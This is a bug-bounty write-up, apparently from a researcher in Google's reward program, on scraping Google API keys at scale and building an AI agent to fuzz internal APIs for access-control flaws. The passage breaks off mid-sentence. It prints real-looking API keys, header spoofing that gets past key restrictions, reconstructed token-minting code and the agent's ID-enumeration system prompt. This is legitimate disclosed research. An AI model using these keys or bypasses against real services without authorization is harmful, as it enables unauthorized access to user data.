{"slug": "hacking-google-with-a-i-for-500k", "title": "Hacking Google with A.I. For $500k", "summary": "A security researcher earned $500,000 from Google's Vulnerability Reward Program after using AI to automatically fuzz Google's internal APIs at scale. The researcher collected over 60,000 API keys from Google apps and services, then leveraged Google's discovery documents to systematically probe for vulnerabilities across the company's attack surface.", "body_md": "After being invited to [bugSWAT Mexico](https://x.com/brutecat/status/1974906110579745274) in October 2025, I found myself drawn back to Google research. While I'd been focused on other projects for several months, the team's willingness to give researchers a peek into Google's source code reignited my interest in exploring Google's attack surface.\n\nHaving spent the past year building small projects with Claude, I realized there was untapped potential in using AI to automatically fuzz Google's APIs at scale. The key to this approach? Google's discovery documents. For those unfamiliar, I'd recommend reading [my other article](/articles/decoding-google) for a deep dive, but here's a quick refresher:\n\nDiscovery documents are essentially Google's equivalent of Swagger docs - machine-readable API specifications that list all available endpoints, parameters, and methods. While they're publicly documented for APIs like the [YouTube Data API](https://developers.google.com/youtube/v3), they also exist for Google's internal APIs (like the Internal People API). Some discovery docs are [publicly accessible](https://people-pa.googleapis.com/$discovery/rest), while most [require valid API keys](https://protos.googleapis.com/$discovery/rest).\n\nHere's an example from the YouTube Data API's discovery document:\n\n```\n...\n \"liveChatModerators\": {\n \"methods\": {\n \"insert\": {\n \"flatPath\": \"youtube/v3/liveChat/moderators\",\n \"description\": \"Inserts a new resource into this collection.\",\n \"httpMethod\": \"POST\",\n \"parameters\": {\n \"part\": {\n \"description\": \"The *part* parameter serves two purposes in this operation. It identifies the properties that the write operation will set as well as the properties that the API response returns. Set the parameter value to snippet.\",\n \"repeated\": true,\n \"required\": true,\n \"location\": \"query\",\n \"type\": \"string\"\n }\n...\n```\n\n[#](#collecting-api-keys)Collecting API Keys\n\nTo access most discovery documents, you need a valid API key. API keys are embedded in virtually every Google app and service, but crucially, an API key found in one service will often have multiple other APIs enabled for its Google Cloud Platform (GCP) project. This means that collecting as many keys as possible would give us access to numerous Google APIs. For the key collection part, my friend [Michael](https://michaeldalton.au) and I teamed up.\n\nWe took an exhaustive approach. We scraped [over 60,000 Android APKs](https://www.apkmirror.com/apk/google-inc/) (every version of every Google app ever released), unpacked them, and grepped for API keys.\n\n``` bash\nuser@siege:/mnt/data/apks$ ls -1 | wc -l\n61200\n```\n\nWe built a Chrome extension using the [Chrome Debugger API](https://developer.chrome.com/docs/extensions/reference/api/debugger) to intercept network traffic, then systematically visited all known Google web domains (2.8k+) and used every web app feature possible to capture keys from live requests.\n\nWe also decrypted every Google IPA we could obtain and analyzed [any Google binaries we could find.](https://en.uptodown.com/developer/google-llc)\n\nTo keep things in scope for Google VRP and remove non-Google API keys (keys from third-party GCP projects), I used an interesting endpoint I found in the Cloud Marketplace API. First, we need the project number associated with the key's GCP project, which is revealed in the error message returned when using the key with a Google API it doesn't have enabled. For instance, fetching [https://protos.googleapis.com/$discovery/rest?key=AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc](https://protos.googleapis.com/$discovery/rest?key=AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc) returns the error: `Protos API has not been used in project 244648151629 before`\n\n, revealing the project number.\n\nThe Cloud Marketplace endpoint takes this project number and returns information about the project:\n\n```\nGET /v1test/infoSharing/test/test/1044708746243 HTTP/2\nHost: cloudmarketplace.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://console.cloud.google.com\nX-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc\n```\n\n`1044708746243`\n\nis the target project number.\n\nThis responds with the following:\n\n```\nHTTP/2 200 OK\nContent-Type: application/json; charset=UTF-8\n\n{\n \"company\": \"google.com\",\n \"email\": \"gvrptest2@gmail.com\",\n \"name\": \"GVRP Test2\"\n}\n```\n\nThe `email`\n\nand `name`\n\nare for my authenticated Google account, but the `company`\n\nis the **domain tied to the GCP project number** we supplied. Running this endpoint through the GCP projects tied to all the keys allowed for filtering out non-Google API keys, by simply discarding keys not from `google.com`\n\nprojects (or other acquisitions e.g `nest.com`\n\n, `fitbit.com`\n\n, `wing.com`\n\n).\n\nWith API keys collected, the next step was finding all Google API domains to scan. I used a combination of domains logged by the Chrome extension, brute-force generated names using keywords, and [certificate transparency logs](https://certificate.transparency.dev/). To verify if a domain was a live Google API, I made the following request:\n\n```\nGET / HTTP/2\nHost: people-pa.googleapis.com\n```\n\nThen I would check the `Server`\n\nresponse header:\n\n```\nHTTP/2 404 Not Found\nDate: Mon, 16 Feb 2026 08:46:31 GMT\nContent-Type: text/html; charset=UTF-8\nServer: ESF\n```\n\nIf this header existed (usually `ESF`\n\n, `GSE`\n\n, or `scaffolding on HTTPServer2`\n\n), then it was a valid Google API service that was alive and responding to requests.\n\n[#](#scanning-for-discovery-documents)Scanning for Discovery Documents\n\nEquipped with valid API keys and a list of live Google API domains, I started mass scanning for open discovery documents. In July 2025, Google removed the `/$discovery/rest`\n\npath from most of their APIs, but if you're clever enough this is possible to bypass in some cases.\n\nThere was another layer of complexity. As covered in my previous article, certain Google Cloud projects have visibility labels enabled, giving them access to hidden endpoints that won't show up in discovery documents unless the `labels`\n\nparameter is provided. For example, if we fetch the Service Management API discovery document without labels:\n\n```\nGET /$discovery/rest HTTP/2\nHost: serviceusage.googleapis.com\nX-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc\n```\n\nThe response is 253k bytes. However, with `?labels=GOOGLE_INTERNAL`\n\n:\n\n```\nGET /$discovery/rest?labels=GOOGLE_INTERNAL HTTP/2\nHost: serviceusage.googleapis.com\nX-Goog-Api-Key: AIzaSyDWUi9T78xEO-m10evQANR7TMSiB_bjyNc\n```\n\nThe response grows to **329k bytes**, revealing significantly more hidden documentation. The catch is that the labels parameter only accepts one label at a time. This meant testing every known label with every API key across all discovered APIs. The request volume was massive, but it was the only way to uncover endpoints hidden behind visibility labels.\n\nAfter all this, I was able to get discovery documents for 1,500+ APIs. Combining these with discovery docs I'd archived from my [past research](/articles/decoding-google), I was ready to start using AI to fuzz these automatically.\n\n[#](#authentication)Authentication\n\nWe've got authorization sorted thanks to API keys, but many endpoints also require **authentication credentials** to identify which Google account is calling the API. If you tried to use [Bearer authentication](/articles/decoding-google/#generating-a-bearer-token) with an API key, you'd get a mismatch error since bearer tokens themselves are tied to GCP projects:\n\n```\n{\n \"error\": {\n \"code\": 400,\n \"message\": \"The API Key and the authentication credential are from different projects.\",\n \"status\": \"INVALID_ARGUMENT\",\n ...\n }\n}\n```\n\nThere's no known way around this using bearer authentication. Even if you use `X-Goog-User-Project: `\n\n, it validates if your authenticated account has the `roles/serviceusage.serviceUsageConsumer`\n\nrole in that GCP project. If you figure one out, [let me know](mailto:root@brutecat.com).\n\nHowever, many APIs support Google's proprietary First Party Authentication (FPA), which does work with API keys. If you've ever looked at how Google APIs work on the web:\n\n```\nPOST /v1/items:get?key=AIzaSyD_InbmSFufIEps5UAt2NmB_3LvBH3Sz_8 HTTP/3\nHost: drivefrontend-pa.clients6.google.com\nCookie: \nContent-Type: application/json+protobuf\nAuthorization: SAPISIDHASH SAPISID1PHASH SAPISID3PHASH \nX-Goog-Authuser: 0\nOrigin: https://drive.google.com\nReferer: https://drive.google.com/\n```\n\nThe requests include the Google account session `Cookie`\n\nas well as an `Authorization`\n\nvalue computed from the cookie. They're also sent to the hostname `*.clients6.google.com`\n\ninstead of `*.googleapis.com`\n\n. There's a well-known [Stack Overflow post](https://stackoverflow.com/a/32065323) on this, however that doesn't cover the full picture. Many APIs like `drivefrontend-pa.googleapis.com`\n\nrequire a more complete version of Google's FPA v2 authorization header that embeds user identifiers like email addresses within the hash.\n\nThankfully, Michael spotted that Google accidentally leaked sourcemaps for some time on [https://android-review.googlesource.com/q/status:open+-is:wip](https://android-review.googlesource.com/q/status:open+-is:wip) which allowed us to see Google's frontend source code for their internal **gapix** library, which contained code for generating the FPA v2 authorization header.\n\nYou can find the full file\n\n[here].\n\nThe new FPA system (v2) works as follows. Three user identifiers can be included in the hash:\n\n```\n * @param {?Array<{key:string,value:string}>=} opt_userIdentifiers an\n * array of {key:, value:} objects where 'key' is:
  • \n *
      'e': denotes that the corresponding 'value' is the user's email address\n *
        'u': denotes that the corresponding 'value' is the user's\n * focus-obfuscated Gaia ID\n *
          'a': denotes that the corresponding 'value' is the user account's\n * app domain (required only for dasher accounts)\n```\n\nThe token is then generated:\n\n```\n// Extract identifier keys (e.g. \"e\", \"u\", \"a\") and values (email, gaia id, domain)\ngoog.array.forEach(userIdentifiers, function (element, index, array) {\n suffix.push(element[\"key\"]); // [\"e\", \"u\"] -> \"eu\"\n identifiers.push(element[\"value\"]); // [\"user@gmail.com\", \"ABC123\"]\n});\n\n// Get current Unix timestamp\nconst timestamp = Math.floor(new Date().getTime() / 1000);\n\n// Build SHA1 input: \"email:gaiaId timestamp sessionCookie origin\"\nif (goog.array.isEmpty(identifiers)) {\n sha1Parts = [timestamp, sessionCookie, origin];\n} else {\n sha1Parts = [identifiers.join(\":\"), timestamp, sessionCookie, origin];\n}\n\n// Compute SHA1 hash of space-joined parts\nconst sha1 = gapix.auth_firstparty.tokencrafter.computeSha1_(\n sha1Parts.join(\" \")\n);\n\n// Final token: \"timestamp_sha1hash_identifierKeys\" e.g. \"1739700391_abc123def_eu\"\nconst tokenParts = [timestamp, sha1];\nif (!goog.array.isEmpty(suffix)) {\n tokenParts.push(suffix.join(\"\"));\n}\nreturn tokenParts.join(\"_\");\n```\n\nGaia stands for \"Google Accounts and ID Administration\". Every Google account has a sequential\n\nunobfuscated Gaia IDe.g 131337133377, as well as a longer identifier, theFocus-obfuscated Gaia ID, which looks like 101189998819991197253.\n\nSo the final token format is `__`\n\n. For example, a [Google Workspace user](https://workspace.google.com/) (internally called **dasher**)'s token might look like `1739700391_abc123def456_eua`\n\nwhere `eua`\n\nindicates the hash was computed using email, obfuscated Gaia ID, and Google Workspace domain. The origin used in the hash is the `Origin`\n\nheader value (e.g. [https://drive.google.com](https://drive.google.com)).\n\nA fun fact: There are only three possible user identifier keys:\n\n`u`\n\nfor obfuscated Gaia ID,`e`\n\nfor email, and`a`\n\nfor Google Workspace domain. If you specify other letters, the API backend just ignores them. So it's actually possible to mint a valid auth header containing arbitrary strings - for example`__googlesauthteamhatesthisoneweirdtrick`\n\n[#](#origin-whitelisting)Origin Whitelisting\n\nThe `Origin`\n\nheader value here is important.\n\nThis header is automatically added by web browsers and indicates the scheme/host of the current tab, which looks like\n\n`Origin: ://[:]`\n\nMany APIs have a so-called \"origin whitelist\". If you use a non-whitelisted origin, you get a misleading error like this:\n\n```\n{\n \"error\": {\n \"code\": 401,\n \"details\": [\n {\n \"@type\": \"type.googleapis.com/google.rpc.ErrorInfo\",\n \"domain\": \"googleapis.com\",\n \"metadata\": {\n \"cookie\": \"UNKNOWN\",\n \"method\": \"google.internal.businessprocess.v1.BusinessProcess.GetIssue\",\n \"service\": \"businessprocess-pa.googleapis.com\"\n },\n \"reason\": \"SESSION_COOKIE_INVALID\"\n }\n ],\n \"message\": \"Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.\",\n \"status\": \"UNAUTHENTICATED\"\n }\n}\n```\n\nThis *doesn't* mean that your cookie is invalid, but instead that you're using a non-whitelisted origin. The origin whitelist isn't documented anywhere, but using [the proto leak bug I found in my last writeup](/articles/google-cloud-rce), I checked the proto definition for ** gaia_mint.AllowedFirstPartyAuth**:\n\n```\nsyntax = \"proto3\";\n\npackage gaia_mint;\n\nmessage AllowedFirstPartyAuth {\n enum FirstPartyOriginEnforcementLevel {\n UNKNOWN = 0;\n MONITORING_ONLY = 1;\n PRODUCTION_ORIGINS_ONLY = 2;\n ENFORCE_ALL = 3;\n }\n\n bool allow_insecure = 1;\n bool allow_insecure_pvt = 2;\n bool legacy_allow_all_origins = 3;\n FirstPartyOriginEnforcementLevel enforcement_level = 4;\n repeated AllowedFirstPartyAuthOriginRule allowed_origin_rule = 5;\n repeated string skip_origin_check_for_test_user = 6;\n repeated string include_named_origin_rule_list = 7;\n}\n\nmessage AllowedFirstPartyAuthOriginRule {\n string origin = 1;\n bool is_country_domain_prefix = 2;\n\n oneof mutual_exclusive_options {\n bool is_sharded_domain = 3;\n bool allow_subdomains = 4;\n }\n}\n```\n\nThis gives us a deeper look into how Google handles origin validation internally. We can see there are different enforcement levels and support for subdomain wildcards. APIs that allow all origins are likely using `legacy_allow_all_origins`\n\n.\n\n[#](#api-key-restrictions)API Key Restrictions\n\nHowever, one issue I came across was that certain keys had certain header restrictions.\n\nThere are four different types of restriction: Server, Browser, Android, and iOS. These restrictions are also available for anyone to set on their own GCP project's keys, as documented in [https://docs.cloud.google.com/api-keys/docs/add-restrictions-api-keys](https://docs.cloud.google.com/api-keys/docs/add-restrictions-api-keys)\n\nYou can see these restrictions defined in Google's [error_reason proto](https://github.com/googleapis/googleapis/blob/83e70370751716489986478edc8713b455b21e86/google/api/error_reason.proto#L104):\n\n```\n// Defines the supported values for `google.rpc.ErrorInfo.reason` for the\n// `googleapis.com` error domain. This error domain is reserved for [Service\n// Infrastructure](https://cloud.google.com/service-infrastructure/docs/overview).\nenum ErrorReason {\n ...\n // The request is denied because it violates [API key HTTP\n // restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_http_restrictions).\n API_KEY_HTTP_REFERRER_BLOCKED = 7;\n\n // The request is denied because it violates [API key IP address\n // restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).\n API_KEY_IP_ADDRESS_BLOCKED = 8;\n\n // The request is denied because it violates [API key Android application\n // restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).\n API_KEY_ANDROID_APP_BLOCKED = 9;\n\n // The request is denied because it violates [API key iOS application\n // restrictions](https://cloud.google.com/docs/authentication/api-keys#adding_application_restrictions).\n API_KEY_IOS_APP_BLOCKED = 13;\n ...\n}\n```\n\n**Server** restrictions use IP address whitelists (which cannot be bypassed), but we found very few keys that actually *used* this type of restriction.\n\nFor **Browser** restrictions, a correct HTTP `Referer`\n\n(yes, this is [spelled incorrectly](https://en.wikipedia.org/wiki/HTTP_referer#Etymology)) header is required:\n\n```\nGET /v1/operations HTTP/2\nHost: servicemanagement.googleapis.com\nX-Goog-Api-Key: AIzaSyAEEV0DrpoOQdbb0EGfIm4vYO9nEwB87Fw\nReferer: https://vrptest.google.com\n```\n\nSome keys, like this one, allow the wildcard\n\n`*.google.com`\n\nThe tricky part with this is that you can't supply mismatched `Referer`\n\nand `Origin`\n\nheaders. So if an endpoint has an Origin whitelist, you need to find a matching Referer and Origin in order to use the API.\n\n**iOS**, on the other hand, just requires the right `X-Ios-Bundle-Identifier`\n\nheader:\n\n```\nGET /v1/operations HTTP/2\nHost: servicemanagement.clients6.google.com\nX-Goog-Api-Key: AIzaSyBwu1q5p-HA745oE-YssxrrKu4UjaHv-7o\nX-Ios-Bundle-Identifier: com.google.GoogleMobile\n```\n\nLastly, **Android** restrictions require two matching headers, `X-Android-Package`\n\n(the package name of the Android app) and `X-Android-Cert`\n\n(the SHA-1 signing certificate fingerprint):\n\n```\nGET /v1/operations HTTP/2\nHost: servicemanagement.clients6.google.com\nX-Goog-Api-Key: AIzaSyAHYc-Xn7pR1bXTPACJcTF90qOf-YaBGqA\nX-Android-Package: com.google.android.settings.intelligence\nX-Android-Cert: dd5fe97609b3615afaa64c0fb41427db07151066\n```\n\nDuring the API key collection process, we made sure to store all these values, and hence incorporated brute-forcing these values into the same program.\n\nAnother interesting thing was that there are no restrictions for using `*.corp.google.com`\n\nas a first-party authentication origin header. For instance:\n\n```\nGET /contentmanager/v1/item_paths HTTP/2\nHost: contentmanager.clients6.google.com\nCookie: \nAuthorization: \nOrigin: https://coco.corp.google.com\nX-Goog-Api-Key: AIzaSyBOh-LSTdP2ddSgqPk6ceLEKTb8viTIvdw\n```\n\nThis API only allowed calls from the following origin headers:\n\n[https://coco.corp.google.com](https://coco.corp.google.com)[https://connect.corp.google.com](https://connect.corp.google.com)[https://redbull.corp.google.com](https://redbull.corp.google.com)[https://redwood.corp.google.com](https://redwood.corp.google.com)\n\nas well as staging/dev variants of these (e.g. [https://connect-staging.corp.google.com](https://connect-staging.corp.google.com)).\n\nFun fact: If an API only allows\n\n`*.corp.google.com`\n\norigins, it's likely an internal API that wasn't meant to be publicly exposed and probably has bugs. This specific API was used for managing[support.google.com]content/workflows and had an access control vulnerability that was awarded$9,000.\n\nThis is a clear picture of the full lifecycle of a Google API request:\n\n```\n[1] Request hits *.googleapis.com\n |\n v\n[2] Method resolution\n - 404, Content-Type: text/html; charset=UTF-8 (If method doesn't exist, this is the resp)\n |\n v\n[3] Supplied Content-Type configured for service\n - 400, \"JSPB is not configured for service 'preprod-nestauthproxyservice-pa.sandbox.googleapis.com'.\"\n |\n v\n[4] API key valid & enabled for this API\n - 400, reason: API_KEY_INVALID\n - 403, \"API key not valid.\"\n - 403, \"API key is expired\"\n - 403, \"Pulse Private API has not been used in project 41614776383...\"\n - 403, \"...doesn't allow unregistered callers...\"\n - 403, \"...missing a valid API key\"\n |\n | ~50% of requests to staging environments have [4] <-> [5] swapped\n v\n[5] API key restrictions\n - 403, \"Requests from this Android client application are blocked.\"\n - 403, \"Requests from this iOS client application are blocked.\"\n - 403, \"Requests from referer https://console.cloud.google.com are blocked.\"\n |\n v\n[6] Authentication credential validity\n - 401, \"Request had invalid authentication credentials. Expected OAuth 2 access token, login cookie or other valid authentication credential. See https://developers.google.com/identity/sign-in/web/devconsole-project.\"\n - 401, reason: ACCESS_TOKEN_SCOPE_INSUFFICIENT\n |\n v\n[7] First-party auth origin whitelisted (only when FPA cookies sent)\n - 401, reason: SESSION_COOKIE_INVALID, metadata.cookie: \"UNKNOWN\"\n |\n v\n[8] API key project == bearer project (only when both key + bearer sent)\n - 400, \"The API Key and the authentication credential are from different projects.\"\n |\n v\n[9] Visibility label\n - 404, Content-Type: application/json, \"Method not found.\"\n |\n v\n[10] Method blocked for caller's GCP project\n - 403, \"Requests to this API preprod-nestauthproxyservice-pa.sandbox.googleapis.com method nest.security.authproxy.v1.NestSecurityAuthproxyService.LookUpByNestId are blocked.\"\n |\n v\n ...\n |\n v\n[N] Request processed by application server\n```\n\nI built a program around this map. For each (API key, API) pair, it would send a probe request to a known method and classify the response by which step rejected it (or \"passed\" if it made it past step [4]). Running this across every key against every API gave me an enablement matrix of which keys actually worked for which APIs, along with the working origin headers and key-restriction headers required for each.\n\n[#](#building-my-own-api-explorer)Building My Own API Explorer\n\nGoogle has a tool called the [API Explorer](https://developers.google.com/apis-explorer) which, behind the scenes, uses discovery documents to let you test any API request and see the response. This was extremely useful for testing public APIs. The API Explorer [used to be open source](https://code.google.com/archive/p/google-apis-explorer/), but it isn't anymore. This was a problem because the public API Explorer only works with public APIs, not private/internal ones. The explorer pages are also generated server-side, so you can't just swap in a different discovery document as the client.\n\nConsidering this, along with the need to integrate FPA v2, I decided to build my own API Explorer. It took about a week, but the result was a tool that could parse any discovery document client-side and execute requests with FPA using my own library. The frontend automatically constructs valid request/response JSON using structs defined in the discovery document. The end result is a UI where I can quickly test any payload against an API and see how it responds.\n\nThis is a mini interactive demo of what my tool looks like, try clicking on the 'Play' button! This endpoint was an access control bug leaking\n\nassignedTams(technology account managers) that was awarded$6,000\n\n[#](#enter-a-i)Enter A.I.\n\nIt was now time to start automatically fuzzing these APIs. My goal was to automate finding basic access control issues, which I could then escalate manually into more serious vulnerabilities. In fact, the RCE I found in my [previous writeup](/articles/google-cloud-rce) was initially a lead reported by the AI.\n\nI took the same code I used in the frontend for parsing request/response JSON and plugged it into the AI as [MCP](https://modelcontextprotocol.io/docs/getting-started/intro) tools, providing everything it would need to test APIs like a human would.\n\n[#](#initial-approach)Initial Approach\n\nInitially, I only provided the AI with two tools: `probe_api`\n\nand `report_vulnerability`\n\n. The latter would make any reported vulnerability show up in my frontend for review. I would run one \"pentest\" per API and let the AI explore.\n\nHowever, I found that the AI didn't thoroughly test everything. It would exit early after a few probes. To prevent this, I used a [Ralph Wiggum loop](https://www.anthropic.com/engineering/claude-character#agentic-behaviors) and only allowed the AI to finish by calling `confirm_testing_complete()`\n\n. This tool would validate that every endpoint had at least one probe call before letting the AI finish.\n\nEven with this, the AI still wasn't as thorough as I wanted. I was also providing a massive dump of request/response JSON with comments in the initial context, which quickly consumed all the available context size. I needed a different approach.\n\n[#](#group-based-classification)Group-Based Classification\n\nI changed the strategy to first have the AI classify all endpoints into logical groups:\n\n```\n[\n {\n \"group_name\": \"APK Metadata & Permission Analysis\",\n \"group_description\": \"Endpoints managing APK information, permission certifications, and text-based searches.\",\n \"group_rationale\": \"These endpoints provide the primary interface for retrieving APK technical details. A focused test can look for data leakage in search results and IDOR on certificate/permission lookups.\",\n \"methods\": [\n {\n \"method_id\": \"androidpartner.apks.get\",\n \"definition_hash\": \"4462fbad195536db\",\n \"classified_at\": \"2026-01-25T11:18:52.028788+00:00\"\n },\n {\n \"method_id\": \"androidpartner.apks.submissions.create\",\n \"definition_hash\": \"0bbeeacafb51a2a5\",\n \"classified_at\": \"2026-01-25T11:18:52.093755+00:00\"\n },\n ...\n ]\n }\n]\n```\n\nNow, each \"pentest\" focused on a specific group rather than an entire API. Findings from previous groups were shared with future groups in the same API. A list of \"out of scope\" endpoints would also be provided, along with documentation for in-scope endpoints in the initial prompt.\n\nIf the AI wanted to call an out-of-scope endpoint, it had to first use `get_endpoint_context`\n\nto retrieve the request/response JSON schema. Only after calling this could the AI probe that endpoint.\n\n[#](#simplifying-probe_api)Simplifying probe_api\n\nInitially, the `probe_api`\n\ntool call required the AI to pass in everything:\n\n```\n{\n \"body\": {\n \"dataFetcherConfig\": {\n \"id\": \"602e1c07-d60c-4a6f-9375-1caf1b976697\",\n \"metadata\": { \"title\": \"Updated title\" }\n }\n },\n \"host\": \"autopush-cloudcrmcards-pa.sandbox.googleapis.com\",\n \"http_method\": \"POST\",\n \"include_creds\": \"113728935872649341310\",\n \"method_id\": \"autopush_cloudcrmcards_pa_sandbox.updateDataFetcherConfiguration\",\n \"path\": \"/v1/updateDataFetcherConfiguration\",\n \"version\": \"v1\"\n}\n```\n\nThis included the API hostname, HTTP method, long discovery method ID, and API version. There was too much room for the AI to hallucinate or provide incorrect values. If `include_creds`\n\nwas set (it takes a Gaia ID), the request would be sent with the cookies of my attacker Google account. This abstracted away the complex Google FPA authentication so the AI only had to focus on crafting payloads. To save engineering effort, I reused the same API endpoint I made for proxying Google API requests in my frontend.\n\nI later simplified this to:\n\n```\n{\n \"body\": {\n \"dataFetcherConfig\": {\n \"id\": \"602e1c07-d60c-4a6f-9375-1caf1b976697\",\n \"metadata\": { \"title\": \"Updated title\" }\n }\n },\n \"include_creds\": \"113728935872649341310\",\n \"endpoint\": \"updateDataFetcherConfiguration\",\n \"path\": \"/v1/updateDataFetcherConfiguration\",\n}\n```\n\nThe API host and version were now tracked in the background. I also stripped the verbose prefix (like `autopush_cloudcrmcards_pa_sandbox`\n\n) from endpoint names to reduce the chance of the AI making mistakes.\n\n[#](#multi-key-probing)Multi-Key Probing\n\nIn Google APIs, the response from using one API key can differ from another. This is especially true for endpoints hidden behind visibility labels. I made `probe_api`\n\nautomatically send the same request using all known API keys. My backend would handle adding the correct key restriction headers and the origin/referer matching logic.\n\nSince the vast majority of responses were identical across keys, I grouped them by response hash:\n\n```\n{\n \"operation_id\": \"op_023\",\n \"results\": [\n {\n \"endpointPath\": \"/v1internal/accounts/1495306056/dataSegments/1\",\n \"apiKey\": \"AIzaSyDntWfIQs0iyimIUm1GTOWjx5fJL8YdKTE\",\n \"httpMethod\": \"GET\",\n \"statusCode\": 200,\n \"responseBodyHash\": \"response_1\"\n },\n {\n \"endpointPath\": \"/v1internal/accounts/1495306056/dataSegments/1\",\n \"apiKey\": \"AIzaSyDIIy--0yYGybWFSbAyNxF8aOqvX-X1doE\",\n \"httpMethod\": \"GET\",\n \"statusCode\": 404,\n \"standardErrorType\": \"MISSING_REQUIRED_VISIBILITY_LABEL\"\n },\n ...\n ],\n \"responseBodies\": {\n \"response_1\": {\n \"responseJson\": {\n \"cpmFee\": { \"currencyCode\": \"USD\", \"units\": \"3\" },\n \"createTime\": \"2025-02-19T22:05:30.626Z\",\n \"creator\": {\n \"accountId\": \"1495306056\",\n \"displayName\": \"DoubleVerify Inc.\"\n },\n \"curatorDataSegmentId\": \"1\",\n \"dataSegmentId\": \"7950\",\n \"state\": \"INACTIVE\",\n \"updateTime\": \"2025-05-22T13:47:13.599Z\"\n }\n }\n },\n \"totalResults\": 4\n}\n```\n\n[#](#parsing-standard-errors)Parsing Standard Errors\n\nGoogle APIs often returned cryptic error messages that I understood but could confuse the AI. For example:\n\n```\n{\n \"error\": {\n \"code\": 404,\n \"message\": \"Method not found.\",\n \"status\": \"NOT_FOUND\"\n }\n}\n```\n\nContrary to what you might think, this doesn't mean the method doesn't exist. If that was the case, it would be an HTML response, not JSON. This actually means the GCP project tied to your API key is missing a required [visibility label](/articles/decoding-google/#secret-visibility-labels). I parsed these into a `standardErrorType`\n\nlike **MISSING_REQUIRED_VISIBILITY_LABEL**.\n\nAnother common one:\n\n```\n{\n \"error\": {\n \"code\": 400,\n \"message\": \"Request contains an invalid argument.\",\n \"status\": \"INVALID_ARGUMENT\"\n }\n}\n```\n\nThis just means one or more arguments are incorrect. I parsed this to **INVALID_ARGUMENT_NO_DETAILS** and included a `standardErrorExplanation`\n\n:\n\n```\n{\n \"standardErrorType\": \"INVALID_ARGUMENT_NO_DETAILS\",\n \"standardErrorExplanation\": \"The request was rejected by the application due to invalid arguments, but no details were provided. Check your request parameters.\"\n}\n```\n\nAll pentests were logged on my frontend, where I could scroll through and review every tool call the AI made.\n\n[#](#refining-the-approach)Refining the Approach\n\nInitially, from running the AI on a bunch of APIs, it found a few bugs but they were hidden away in 90% junk. I identified two key problems:\n\n**Validation was painful.** There was no easy way to verify if a vulnerability was real. I'd have to manually visit the API in my frontend, set all the same parameters, and check if what the AI reported was even legit. For all I knew, the AI made it all up.**Too much noise.** The AI would report things I wouldn't consider bugs, as well as things it thought were \"potential\" vulnerabilities but weren't actually exploitable. A common example was existence enumeration. An oracle to tell if a user exists or not is interesting, but by itself isn't worth reporting.\n\nTo solve the validation problem, I made the AI include operation IDs from `probe_api`\n\nresponses within its report, like `{{op_005}}`\n\n. On my frontend, these would be replaced with a UI showing the actual request that was sent (which can't be hallucinated). I could see the response the operation returned, and click \"Play\" to replay the request and verify if the bug still worked.\n\nTo solve the noise problem, it took a lot of trial and error constantly adapting the system prompt until I made it clear what should and shouldn't be reported. Here's an excerpt of the final system prompt I ended up with (after over a month of refactoring):\n\n```\nYou are a Google VRP security researcher testing Google APIs for IDOR, broken access control vulnerabilities.\n\n**Important:** Google uses strict JSON→gRPC transcoding with strong type checking. Type confusion bugs are not applicable - use the exact types from the request schema.\n\n## Tools\n\n1. **probe_api(...)** - Test endpoint. Returns an **operation_id** - save this for reporting vulnerabilities.\n2. **report_vulnerability(...)** - Report confirmed vulnerabilities. **Requires operation_ids** from your probe_api calls as evidence.\n3. **confirm_testing_complete(report)** - Call when done. System validates all in-scope endpoints were tested. Your report will be passed to subsequent testing groups - include discovered IDs, useful context, and any patterns you noticed.\n4. **get_endpoint_schema(endpoint)** - Get schema for out-of-scope endpoints only. Required before probing out-of-scope endpoints.\n\n**Operation IDs:** Each probe_api call returns an operation_id (e.g., \"op_001\"). When reporting a vulnerability, you MUST include the operation_ids that demonstrate the vulnerability. This links your report to the actual request/response data.\n\n## Testing Rules\n\n**Endpoints are exhaustive:** The endpoints listed below are the ONLY endpoints that exist. Do not try HTTP methods or paths outside of what is listed.\n\n**In-scope endpoints:** Full schemas are provided below. Probe them directly.\n**Out-of-scope endpoints:** Call `get_endpoint_schema` first if you need to probe them for context or ID discovery.\n\n**Auth:** Check the `allows_auth` column to decide whether to use include_creds.\n\n**ID Enumeration (Testing Technique - NOT a vulnerability):**\n- If you discover an incremental numeric ID (e.g., 12345), IMMEDIATELY try ID-1, ID-2, ID+1, ID+2\n- Try small IDs: 1, 2, 3, 100, 1000\n- Cross-reference IDs discovered from one endpoint on other endpoints\n- This is how you find other users' resources\n- **Note:** Being able to enumerate IDs is NOT a vulnerability. Only report if you can actually ACCESS confidential data.\n\n**Don't know a parameter value?** Use: \"1\", \"test\", \"me\", \"default\", fake UUIDs. Never skip an endpoint.\n\n**Make MULTIPLE probes per endpoint** with different auth states and IDs.\n\n## Reporting\n\n**Report when you find:**\n- Access to other users' data\n- 2xx response with private data where 4xx expected\n\n**Do NOT report:**\n- 500 errors, 401/403/404 errors, 400 invalid param errors\n- Status 200 without actual private data disclosure or provable impact\n- **Existence enumeration** - NEVER report that you can detect whether an ID exists (e.g., different responses for valid vs invalid IDs). This is NOT a vulnerability unless it leaks sensitive information like emails, names, or private data. Use enumeration for testing, but do not report it.\n\n**Severity:**\n- DEBUG: Internal debug info leaked (not type.googleapis.com/xxx)\n- INFO: Suspected IDOR - endpoint returns 200/404/500 with resource ID but no valid ID to confirm (needs manual verification)\n- MEDIUM: Gaia ID → Email mapping for victim\n- MEDIUM: Project number -> Project ID mapping for victim\n- HIGH: IDOR leaking other user's data\n- CRITICAL: Broken access control leaking sensitive user data\n\n**Report immediately.** As soon as you confirm a vulnerability, call report_vulnerability right away - don't wait until the end.\n\n**Each vulnerability = one report.** If you find the same bug on multiple endpoints, report it once. Exception: INFO-level internal error leaks - only report the first one you see unless they're vastly different.\n```\n\nOnce these two problems were solved, the AI started finding bugs left and right with over 50% accuracy. Reviewing them became trivial. I'd just click \"Play\", see if the bug still worked, then report. It soon became clear that the only limiting factor was API keys.\n\n[#](#pwning-google)Pwning Google\n\nNow's time for the fun: The AI ended 